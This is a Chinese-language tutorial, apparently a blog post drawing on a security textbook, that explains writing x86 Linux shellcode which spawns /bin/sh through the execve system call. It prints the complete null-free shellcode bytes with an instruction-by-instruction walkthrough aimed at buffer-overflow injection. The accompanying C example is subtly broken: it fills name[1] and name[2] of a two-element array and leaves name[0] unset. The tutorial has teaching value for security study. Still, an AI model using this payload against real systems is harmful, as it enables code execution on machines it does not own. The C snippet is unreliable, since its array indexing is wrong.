天天看點

如何寫一個shellcode

什麼樣的shellcode可以起到最大的破壞,那就是能夠滿足攻擊者各種各樣需要的shellcode,怎麼才能滿足各種各樣的需要呢?調用shell。

如何寫一個shellcode,以需要execve()系統調用的shellcode為例:

  • %eax:eax寄存器需要存儲11,這是execve()的系統調用号(system call number)
  • %ebx:存儲控制字元串“/bin/sh”的位址(execve()的第一個參數)
  • %ecx:存儲參數數組的位址(execve()的第二個參數)
  • %edx:存儲環境變量數組的位址,不需要時可以置0

參考《Computer Security:A Hand-on Approach 》,有如下shellcode,

char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;
           

如上shellcode類似于如下c代碼,即通過execve()系統調用,執行/bin/sh,生成shell

#include <stddef.h>
void main()
{
	char *name[2];
	name[1]="/bin/sh";
	name[2]=NULL;
	execve(name[0],name,NULL);
}
           

(1)xorl %eax,%eax :使用xor指令清空eax,即使eax=0,不可以使用movl 0,%eax,因為會在shellcode中引入’0’,一些存在bufferoverflow的函數,如strcpy(),都是在源字元串中檢測’0’,若遇到‘0’,預設為字元串結束,則之後的字元串不會被拷貝。

(2)pushl %eax :将0入棧,标記了"/bin/sh"的結尾,用pushl也可以避免在shellcode中引入’0’

(3)pushl $0x68732f2f:傳遞"/sh",為了4位元組對齊,使用//sh,這在execve()中等同于/sh

(4)pushl $0x6e69622f:傳遞“/bin”,為4個位元組。

(5)movl %esp,%ebx :此時esp指向了"/bin/sh",通過esp将該字元串的值傳遞給ebx

(6)pushl %eax

         pushl %ebx :在棧中構造Name數組,ebx存儲了"/bin/sh"字元串的位址,eax中為0,作為Name[1];

(7)movl %esp,%ecx :esp指向構造的Name數組,将其儲存在ecx中

(8)cdq :清空edx,edx中存放環境變量,0代表不傳遞環境變量,也可以使用xorl %edx %edx,但是該指令更長。

(9)movb $0x0b,%al

          int $0x80:eax存儲系統調用号11(0x0b),int指令調用系統調用

繼續閱讀